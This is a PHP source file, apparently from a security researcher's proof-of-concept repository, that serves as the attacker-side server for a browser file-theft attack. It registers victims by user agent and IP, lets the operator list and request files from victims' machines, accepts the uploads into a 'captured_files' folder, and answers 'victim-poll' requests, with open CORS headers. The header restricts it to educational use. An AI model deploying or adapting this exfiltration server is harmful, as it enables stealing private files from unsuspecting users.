PageRenderTime 29ms CodeModel.GetById 30ms RepoModel.GetById 0ms app.codeStats 0ms

/webkit-upload/log.php

https://github.com/koto/blog-kotowicz-net-examples
PHP | 95 lines | 65 code | 11 blank | 19 comment | 14 complexity | d716df905b9d73b9c9e7c58330c75cb9 MD5 | raw file
  1. <?php
  2. require_once 'Upload_Client.php';
  3. /**
  4. * Store tracking log
  5. * @author Krzysztof Kotowicz <kkotowicz at gmail dot com>
  6. * @see http://blog.kotowicz.net
  7. *
  8. * THIS FILE IS PART OF THE PROJECT FOR EDUCATIONAL USE *ONLY*
  9. * ANY COMMERCIAL USE, E.G. FOR VULNERABILITY ASSESSMENT,
  10. * PENETRATION TESTING IS PROHIBITED - CONTACT THE AUTHOR FOR PERMISSION
  11. *
  12. * PERFORMING ACTUAL ATTACKS ON WEBSITES NOT OWNED BY YOU
  13. * USING THIS PROJECT IS PROHIBITED!
  14. */
  15. // i'm CORS capable
  16. header("Access-Control-Allow-Origin: *");
  17. header("Access-Control-Allow-Methods: POST, GET, OPTIONS");
  18. header("Access-Control-Max-Age: 999999");
  19. if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
  20. // preflight, skip
  21. die();
  22. }
  23. // init
  24. $db = new PDO('sqlite:' . dirname(__FILE__) . DIRECTORY_SEPARATOR . 'clients.sqlite');
  25. $client = new Upload_Client($db);
  26. $file_storage = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'captured_files';
  27. $response = new stdClass;
  28. if (!empty($_POST)) {
  29. unset($_POST['_']);
  30. if (empty($_POST['client'])) {
  31. // create client id and store in db
  32. $_POST['client'] = $client->create($_SERVER['HTTP_USER_AGENT'], $_SERVER['REMOTE_ADDR']);
  33. }
  34. $_POST['client'] = $id = (string) $_POST['client'];
  35. // get client data from db into json
  36. $client->load($id);
  37. switch ($_POST['msg']) { // process messages
  38. case 'get-clients':
  39. $response->clients = $client->getClients($_SERVER['REMOTE_ADDR']);
  40. break;
  41. case 'get-files':
  42. $response->files = $client->getFiles();
  43. $response->client_data = $client->getClient($id, $_SERVER['REMOTE_ADDR']);
  44. break;
  45. case 'set-files':
  46. $response->client = $id;
  47. $client->setFiles($_POST['files']);
  48. break;
  49. case 'request-file':
  50. $client->requestFileForUpload($_POST['file']);
  51. break;
  52. case 'will-send-file':
  53. $client->MarkFileAsInProgress($_POST['file']);
  54. break;
  55. case 'upload-file':
  56. if (!empty($_FILES['contents']) && array_key_exists('fileid', $_POST) && $client->hasFile($_POST['fileid'])) { // process file upload
  57. $uniq = "file-" . md5(mt_rand() . uniqid());
  58. $match = array();
  59. if (preg_match('#\/(jpe?g|gif|png|pdf)$#i', $_POST['type'], $match)) { // images and pdf are "safe" to serve
  60. $ext = $match[1];
  61. } else if (preg_match('#\.([a-z0-9]{1,4})$#i', $_FILES['contents']['name'], $match)) { // cite extenstion for other files
  62. $ext = $match[1] . '.bin';
  63. } else {
  64. $ext = 'bin';
  65. }
  66. $filename = $uniq . '.' . $ext;
  67. if (move_uploaded_file($_FILES['contents']['tmp_name'], $file_storage . DIRECTORY_SEPARATOR . $filename)) {
  68. $client->markUploadedFile($_POST['fileid'], $filename);
  69. } else {
  70. $client->markErrorInFile($_POST['fileid']);
  71. }
  72. }
  73. break;
  74. case 'victim-poll':
  75. $response->requested = $client->getRequestedFiles();
  76. $client->ping();
  77. break;
  78. }
  79. // persist client data
  80. $client->store();
  81. }
  82. // respond
  83. header("Content-Type: application/json");
  84. echo json_encode($response);